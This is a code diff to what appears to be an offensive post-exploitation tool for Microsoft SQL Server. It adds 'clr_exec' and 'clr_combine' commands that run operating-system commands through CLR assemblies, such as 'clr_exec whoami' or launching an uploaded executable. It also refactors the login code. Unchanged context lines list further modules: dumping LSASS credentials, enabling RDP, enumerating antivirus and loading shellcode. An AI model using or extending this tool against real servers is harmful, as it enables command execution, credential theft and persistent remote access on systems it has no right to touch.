@@ -30,6 +30,8 @@ private static void Help()
3030disable_clr - you know what it means
3131install_clr - create assembly and procedure
3232uninstall_clr - drop clr
33+ clr_exec {cmd} - for example: clr_exec whoami;clr_exec -p c:\a.exe;clr_exec -p c:\cmd.exe -a /c whoami
34+ clr_combine {remotefile} - When the upload module cannot call CMD to perform copy to merge files
3335clr_dumplsass {path} - dumplsass by clr
3436clr_rdp - check RDP port and Enable RDP
3537clr_getav - get anti-virus software on this machin by clr
@@ -255,37 +257,54 @@ static void DownloadFiles(String localFile, String remoteFile)
255257 Console . WriteLine ( "[*] '{0}' Download completed" , remoteFile ) ;
256258 }
257259
258- public static void OnInfoMessage ( object mySender , SqlInfoMessageEventArgs args )
260+ public static string result = string . Empty ;
261+ private static void OnInfoMessage ( object mySender , SqlInfoMessageEventArgs args )
259262 {
260- String value = String . Empty ;
263+ var value = string . Empty ;
261264 foreach ( SqlError err in args . Errors )
262265 {
263- value = err . Message ;
264- Console . WriteLine ( value ) ;
266+ value += err . Message ;
265267 }
268+ result = value ;
269+ Console . WriteLine ( result ) ;
266270 }
267271
268- static void interactive ( string [ ] args )
272+ /// <summary>
273+ /// 数据库连接
274+ /// </summary>
275+ public static SqlConnection SqlConnet ( string target , string dbName , string uName , string passwd , ref string result )
269276 {
270- string target = args [ 0 ] ;
271- string username = args [ 1 ] ;
272- string password = args [ 2 ] ;
273- string database = args [ 3 ] ;
274-
277+ SqlConnection Conn = null ;
278+ var connectionString = $ "Server = \" { target } \" ;Database = \" { dbName } \" ;User ID = \" { uName } \" ;Password = \" { passwd } \" ;";
275279 try
276280 {
277- //sql建立连接
278- string connectionString = String . Format ( "Server = \" {0}\" ;Database = \" {1}\" ;User ID = \" {2}\" ;Password = \" {3}\" ;" , target , database , username , password ) ;
279281 Conn = new SqlConnection ( connectionString ) ;
280282 Conn . InfoMessage += new SqlInfoMessageEventHandler ( OnInfoMessage ) ;
281283 Conn . Open ( ) ;
282- Console . WriteLine ( "[*] Database connection is successful!" ) ;
284+ result = $ "[*] Database connection is successful! { DateTime . Now . ToString ( ) } ";
285+ Console . WriteLine ( result ) ;
283286 }
284287 catch ( Exception ex )
285288 {
286- Console . WriteLine ( "[!] Error log: \r \n " + ex . Message ) ;
289+ result = $ "[!] Error log: { ex . Message } ";
290+ Console . WriteLine ( result ) ;
287291 Environment . Exit ( 0 ) ;
288292 }
293+ return Conn ;
294+ }
295+
296+ static void interactive ( string [ ] args )
297+ {
298+ string target = args [ 0 ] ;
299+ if ( target . Contains ( ":" ) )
300+ {
301+ target = target . Replace ( ":" , "," ) ;
302+ }
303+ string username = args [ 1 ] ;
304+ string password = args [ 2 ] ;
305+ string database = args [ 3 ] ;
306+ string result = "" ;
307+ Conn = SqlConnet ( target , database , username , password , ref result ) ;
289308
290309 setting = new Setting ( Conn ) ;
291310
@@ -356,6 +375,13 @@ static void interactive(string[] args)
356375 clr_exec ( s ) ;
357376 break ;
358377 }
378+ case "clr_exec" :
379+ {
380+ String s = String . Empty ;
381+ for ( int i = 0 ; i < cmdline . Length ; i ++ ) { s += cmdline [ i ] + " " ; }
382+ clr_exec ( s ) ;
383+ break ;
384+ }
359385 case "clr_scloader" :
360386 {
361387 String s = String . Empty ;
@@ -384,6 +410,13 @@ static void interactive(string[] args)
384410 clr_exec ( s ) ;
385411 break ;
386412 }
413+ case "clr_combine" :
414+ {
415+ String s = String . Empty ;
416+ for ( int i = 0 ; i < cmdline . Length ; i ++ ) { s += cmdline [ i ] + " " ; }
417+ clr_exec ( s ) ;
418+ break ;
419+ }
387420 case "enable_clr" :
388421 setting . Enable_clr ( ) ;
389422 break ;
@@ -429,24 +462,16 @@ static void Noninteractive(string[] args)
429462 return ;
430463 }
431464 string target = args [ 0 ] ;
465+ if ( target . Contains ( ":" ) )
466+ {
467+ target = target . Replace ( ":" , "," ) ;
468+ }
432469 string username = args [ 1 ] ;
433470 string password = args [ 2 ] ;
434471 string database = args [ 3 ] ;
435472 string module = args [ 4 ] ;
436- try
437- {
438- //sql建立连接
439- string connectionString = String . Format ( "Server = \" {0}\" ;Database = \" {1}\" ;User ID = \" {2}\" ;Password = \" {3}\" ;" , target , database , username , password ) ;
440- Conn = new SqlConnection ( connectionString ) ;
441- Conn . InfoMessage += new SqlInfoMessageEventHandler ( OnInfoMessage ) ;
442- Conn . Open ( ) ;
443- Console . WriteLine ( "[*] Database connection is successful!" ) ;
444- }
445- catch ( Exception ex )
446- {
447- Console . WriteLine ( "[!] Error log: \r \n " + ex . Message ) ;
448- Environment . Exit ( 0 ) ;
449- }
473+ string result = "" ;
474+ Conn = SqlConnet ( target , database , username , password , ref result ) ;
450475
451476 setting = new Setting ( Conn ) ;
452477 try
@@ -525,6 +550,13 @@ static void Noninteractive(string[] args)
525550 clr_exec ( s ) ;
526551 break ;
527552 }
553+ case "clr_exec" :
554+ {
555+ String s = String . Empty ;
556+ for ( int i = 4 ; i < args . Length ; i ++ ) { s += args [ i ] + " " ; }
557+ clr_exec ( s ) ;
558+ break ;
559+ }
528560 case "clr_scloader" :
529561 {
530562 String s = String . Empty ;
@@ -553,6 +585,13 @@ static void Noninteractive(string[] args)
553585 clr_exec ( s ) ;
554586 break ;
555587 }
588+ case "clr_combine" :
589+ {
590+ String s = String . Empty ;
591+ for ( int i = 4 ; i < args . Length ; i ++ ) { s += args [ i ] + " " ; }
592+ clr_exec ( s ) ;
593+ break ;
594+ }
556595 case "enable_clr" :
557596 setting . Enable_clr ( ) ;
558597 break ;
0 commit comments